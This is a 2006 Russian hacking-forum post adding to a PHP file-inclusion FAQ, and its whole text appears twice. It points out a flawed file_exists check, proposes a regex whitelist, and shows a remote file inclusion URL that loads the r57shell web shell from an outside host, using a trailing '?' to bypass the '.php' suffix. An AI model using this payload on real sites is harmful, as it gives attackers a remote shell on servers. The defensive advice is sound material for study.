drmist
29.04.2006, 16:11
Почему-то тема (http://forum.antichat.ru/thread18368.html) оказалась закрытой. Предположительно, это вызванно желанием не засорять ее чужими комментами. Потому предлогаю обсудить ее здесь.
Лично мне хотелось бы высказать свое уважение автору, указать ему на одну несущественную ошибку и немного дополнить FAQ.
Ошибка находится здесь:
<?
if(file_exists($page))
include "/files/$page";
?>
понятно, что если файл $page существует, то это совершенно не говорит о том, что файл /files/$page существует.
Я бы написал так:
<?
$page = "../../files/$page.php";
if(file_exists($page))
include $page;
?>
По поводу дополнения - тут есть 2 момента.
1) относительно 0-байтов. Очень часто этот символ фильтруется если и не скриптом, то самим апачем.
Потому имеет смысл обращатся к бажному скрипту
<?
include "$page.php";
?>
таким образом:
http://site.com/include.php?page=http://rst.void.ru/download/r57shell.txt?
В результате скрипт попытается инклудить
http://rst.void.ru/download/r57shell.txt?.php, то есть ".php" превратится в параметр в http-запросе и не станет нам мешать.
2) относительно фильтрации
наиболее выгодно использовать функцию ereg(). например:
<?php
if(isset($_GET["page"]))
{
$page = $_GET["page"];
if(ereg("^[a-z]{1,10}$", $page))
@include "../../files/$page.php";
else
die("<a href=\"http://www.fbi.gov\">HACK OFF!</a>");
}
?>
То есть, если параметр page соответствует регулярному выражению "строка длинной от 1 до 10 символов, состоящая из строчных букв", то скрипт примет ее, иначе пошлет недохакера на www.fbi.gov. Кроме того, символ "@" перед include заставит апач не выводить сообщение об ошибке в случае, если соответствующий файл не будет найлен.
Ну вот я и высказался, надеюсь мои слова не будут восприняты как упрек, но зато будут восприняты, как желание дополнить материал.
Лично мне хотелось бы высказать свое уважение автору, указать ему на одну несущественную ошибку и немного дополнить FAQ.
Ошибка находится здесь:
<?
if(file_exists($page))
include "/files/$page";
?>
понятно, что если файл $page существует, то это совершенно не говорит о том, что файл /files/$page существует.
Я бы написал так:
<?
$page = "../../files/$page.php";
if(file_exists($page))
include $page;
?>
По поводу дополнения - тут есть 2 момента.
1) относительно 0-байтов. Очень часто этот символ фильтруется если и не скриптом, то самим апачем.
Потому имеет смысл обращатся к бажному скрипту
<?
include "$page.php";
?>
таким образом:
http://site.com/include.php?page=http://rst.void.ru/download/r57shell.txt?
В результате скрипт попытается инклудить
http://rst.void.ru/download/r57shell.txt?.php, то есть ".php" превратится в параметр в http-запросе и не станет нам мешать.
2) относительно фильтрации
наиболее выгодно использовать функцию ereg(). например:
<?php
if(isset($_GET["page"]))
{
$page = $_GET["page"];
if(ereg("^[a-z]{1,10}$", $page))
@include "../../files/$page.php";
else
die("<a href=\"http://www.fbi.gov\">HACK OFF!</a>");
}
?>
То есть, если параметр page соответствует регулярному выражению "строка длинной от 1 до 10 символов, состоящая из строчных букв", то скрипт примет ее, иначе пошлет недохакера на www.fbi.gov. Кроме того, символ "@" перед include заставит апач не выводить сообщение об ошибке в случае, если соответствующий файл не будет найлен.
Ну вот я и высказался, надеюсь мои слова не будут восприняты как упрек, но зато будут восприняты, как желание дополнить материал.